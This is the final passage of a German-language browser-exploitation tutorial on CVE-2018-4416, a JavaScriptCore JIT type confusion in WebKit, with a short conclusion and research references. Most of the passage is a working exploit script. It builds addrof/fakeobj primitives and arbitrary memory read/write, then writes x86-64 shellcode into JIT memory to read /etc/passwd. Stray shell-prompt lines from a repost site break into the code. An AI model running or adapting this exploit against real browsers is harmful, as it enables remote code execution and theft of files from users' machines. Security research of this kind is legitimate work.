*** Beliebiger Lese-/Schreibzugriff und Shellcode-Ausführung :PROPERTIES: :CUSTOM_ID: arbitrary-rw-and-shellcode-execution :END: Es ähnelt dem Exploit-Skript aus der =WebKid=-Challenge. Das vollständige Skript ist zu lang, um es Zeile für Zeile zu erklären. Du kannst es jedoch [[/assets/CVE-2018-4416.js][hier]] finden. Du musst vielleicht etwa 10 Runden probieren, bis der Exploit erfolgreich ist. Im Erfolgsfall wird deine =/etc/passwd=-Datei ausgelesen. Hier ist der Kerncode:

#+begin_example // kompilierte Funktion holen var func = makeJITCompiledFunction();

function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }

// Typenverwirrung hier function opt(obj) { for (let i = 0; i < 500; i++) {

root@kitploit:~
  }

  let tmp = {a: 1};
  gc();
  tmp.__proto__ = {};

  for (let k in tmp) {
      tmp.__proto__ = {};
      gc();
      obj.__proto__ = {};
      // Der Compiler wird getäuscht, dass obj und tmp den gleichen Typ haben
      return obj[k];
  }

}

opt({});

// Uint32Array verwenden, um kontrollierbaren Speicher zu erstellen // Einen gefälschten Objekt-Header erstellen let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x0000004c; fake_object_memory[1] = 0x01001600; let fake_object = opt(fake_object_memory);

debug(describe(fake_object))

// JIT nutzen, um unser Attribut zu stabilisieren // Attribut a wird von addrof/fakeobj verwendet // Attribut b wird für beliebiges Lesen/Schreiben verwendet for (i = 0; i < 0x1000; i ++) { fake_object.a = {test : 1}; fake_object.b = {test : 1}; }

// addrof holen // wir übergeben ein Objekt an fake_object // da fake_object innerhalb von fake_object_memory ist und als Ganzzahl dargestellt wird // können wir fake_object_memory verwenden, um den ganzzahligen Wert abzurufen function setup_addrof() { function p32(num) { value = num.toString(16) return "0".repeat(8 - value.length) + value } return function(obj) { fake_object.a = obj value = "" value = "0x" + p32(fake_object_memory[5]) + "" + p32(fake_object_memory[4]) return new Int64(value) } }

// Gleiches Prinzip // Aber wir übergeben zuerst den ganzzahligen Wert. Dann holen wir das Objekt ab function setup_fakeobj() { return function(addr) { //fake_object_memory[4] = addr[0] //fake_object_memory[5] = addr[1] value = addr.toString().replace("0x", "") fake_object_memory[4] = parseInt(value.slice(8, 16), 16) fake_object_memory[5] = parseInt(value.slice(0, 8), 16) return fake_object.a } }

addrof = setup_addrof() fakeobj = setup_fakeobj() debug("[+] addrof/fakeobj eingerichtet") var addr = addrof({p: 0x1337}); assert(fakeobj(addr).p == 0x1337, "addrof und/oder fakeobj funktionieren nicht"); debug('[+] Exploit-Primitive funktionieren');

// Mit fake_object + 0x40 ein weiteres gefälschtes Objekt für Lese-/Schreibzugriff erstellen var container_addr = Add(addrof(fake_object), 0x40) fake_object_memory[16] = 0x00001000; fake_object_memory[17] = 0x01082007;

var structs = [] for (var i = 0; i < 0x1000; ++i) { var a = [13.37]; a.pointer = 1234; a['prop' + i] = 13.37; structs.push(a); }

// Wir verwenden victim als Butterfly-Zeiger des Container-Objekts victim = structs[0x800] victim_addr = addrof(victim) victim_addr_hex = victim_addr.toString().replace("0x", "") fake_object_memory[19] = parseInt(victim_addr_hex.slice(0, 8), 16) fake_object_memory[18] = parseInt(victim_addr_hex.slice(8, 16), 16)

// Container zu fake_object.b überschreiben container_addr_hex = container_addr.toString().replace("0x", "") fake_object_memory[7] = parseInt(container_addr_hex.slice(0, 8), 16) fake_object_memory[6] = parseInt(container_addr_hex.slice(8, 16), 16) var hax = fake_object.b

var origButterfly = hax[1];

var memory = { addrof: addrof, fakeobj: fakeobj,

root@kitploit:~
  // Schreibt einen int64 an die gegebene Adresse.
  // Wir ändern den Butterfly von victim zu addr + 0x10
  // Wenn victim das pointer-Attribut ändert, wird es butterfly - 0x10 lesen
  // was addr + 0x10 - 0x10 = addr entspricht
  // Beliebigen Wert zu lesen ist fast identisch
  writeInt64(addr, int64) {
      hax[1] = Add(addr, 0x10).asDouble();
      victim.pointer = int64.asJSValue();
  },

  // Schreibt eine 2-Byte-Ganzzahl an die gegebene Adresse. Korruptiert 6 zusätzliche Bytes nach der geschriebenen Ganzzahl.
  write16(addr, value) {
      // Butterfly des victim-Objekts setzen und dereferenzieren.
      hax[1] = Add(addr, 0x10).asDouble();
      victim.pointer = value;
  },

  // Schreibt eine Anzahl von Bytes an die gegebene Adresse. Korruptiert 6 zusätzliche Bytes nach dem Ende.
  write(addr, data) {
      while (data.length % 4 != 0)
          data.push(0);

      var bytes = new Uint8Array(data);
      var ints = new Uint16Array(bytes.buffer);

      for (var i = 0; i < ints.length; i++)
          this.write16(Add(addr, 2 * i), ints[i]);
  },

  // Liest einen 64-Bit-Wert. Funktioniert nur für Bitmuster, die kein NaN darstellen.
  read64(addr) {
      // Butterfly des victim-Objekts setzen und dereferenzieren.
      hax[1] = Add(addr, 0x10).asDouble();
      return this.addrof(victim.pointer);
  },

  // Überprüft, ob die primitiven Lese- und Schreiboperationen funktionieren.
  test() {
      var v = {};
      var obj = {p: v};

      var addr = this.addrof(obj);
      assert(this.fakeobj(addr).p == v, "addrof und/oder fakeobj funktionieren nicht");

      var propertyAddr = Add(addr, 0x10);

      var value = this.read64(propertyAddr);
      assert(value.asDouble() == addrof(v).asDouble(), "read64 funktioniert nicht");

      this.write16(propertyAddr, 0x1337);
      assert(obj.p == 0x1337, "write16 funktioniert nicht");
  },

};

memory.test(); debug("[+] eingeschränkter Lese-/Schreibzugriff auf Speicher funktioniert");

// JIT-Code-Adresse holen debug(describe(func)) var funcAddr = memory.addrof(func); debug([+] Shellcode-Funktionsobjekt @ ${funcAddr}); var executableAddr = memory.read64(Add(funcAddr, 24)); debug([+] ausführbare Instanz @ ${executableAddr}); var jitCodeObjAddr = memory.read64(Add(executableAddr, 24)); debug([+] JITCode-Instanz @ ${jitCodeObjAddr}); var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 368)); //var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 352)); debug([+] JITCode @ ${jitCodeAddr});

// Unser Shellcode var shellcode = [0xeb, 0x3f, 0x5f, 0x80, 0x77, 0xb, 0x41, 0x48, 0x31, 0xc0, 0x4, 0x2, 0x48, 0x31, 0xf6, 0xf, 0x5, 0x66, 0x81, 0xec, 0xff, 0xf, 0x48, 0x8d, 0x34, 0x24, 0x48, 0x89, 0xc7, 0x48, 0x31, 0xd2, 0x66, 0xba, 0xff, 0xf, 0x48, 0x31, 0xc0, 0xf, 0x5, 0x48, 0x31, 0xff, 0x40, 0x80, 0xc7, 0x1, 0x48, 0x89, 0xc2, 0x48, 0x31, 0xc0, 0x4, 0x1, 0xf, 0x5, 0x48, 0x31, 0xc0, 0x4, 0x3c, 0xf, 0x5, 0xe8, 0xbc, 0xff, 0xff, 0xff, 0x2f, 0x65, 0x74, 0x63, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x64, 0x41]

var s = "A".repeat(64); var strAddr = addrof(s); var strData = Add(memory.read64(Add(strAddr, 16)), 20);

// Shellcode schreiben shellcode.push(...strData.bytes()); memory.write(jitCodeAddr, shellcode);

// auslösen und /etc/passwd holen func(); print() #+end_example


  • Schlussfolgerung :PROPERTIES: :CUSTOM_ID: conclusion :END: Wir haben die Ausnutzung des kompliziertesten Teils eines Browsers demonstriert – der JavaScript-Engine. Allerdings ist ein Browser riesig. Es gibt viele andere Angriffsflächen, wie DOM und WASM. Einige Forscher finden auch Fehler in den SQL-Datenbanken, die von Browsern verwendet werden, die möglicherweise zu RCE führen können. Bleib geduldig und kreativ.

  • Referenzen :PROPERTIES: :CUSTOM_ID: references :END:
  • /Groß S/, 2018, Black Hat USA, /"Attacking Client-Side JIT Compilers"/
  • /Han C/, [[https://github.com/tunz/js-vuln-db/][/"js-vuln-db"/]]
  • /Gianni A/ und /Heel1an S/, /"Exploit WebKit Heap"/
  • /Filip Pizlo/, http://www.filpizlo.com, Danke für viele Präsentationen!
  • /Groß S/, 2018, 35C3 CTF /WebKid Challenge/
  • /dwfault/, 2018, [[http://dwfault-blog.imwork.net:30916/2019/01/03/WebKit%20JavaScriptCore%E7%9A%84%E7%89%B9%E6%AE%8A%E8%B0%83%E8%AF%95%E6%8A%80%E5%B7%A7/][/WebKit Debugging Skills/]]
Tool herunterladen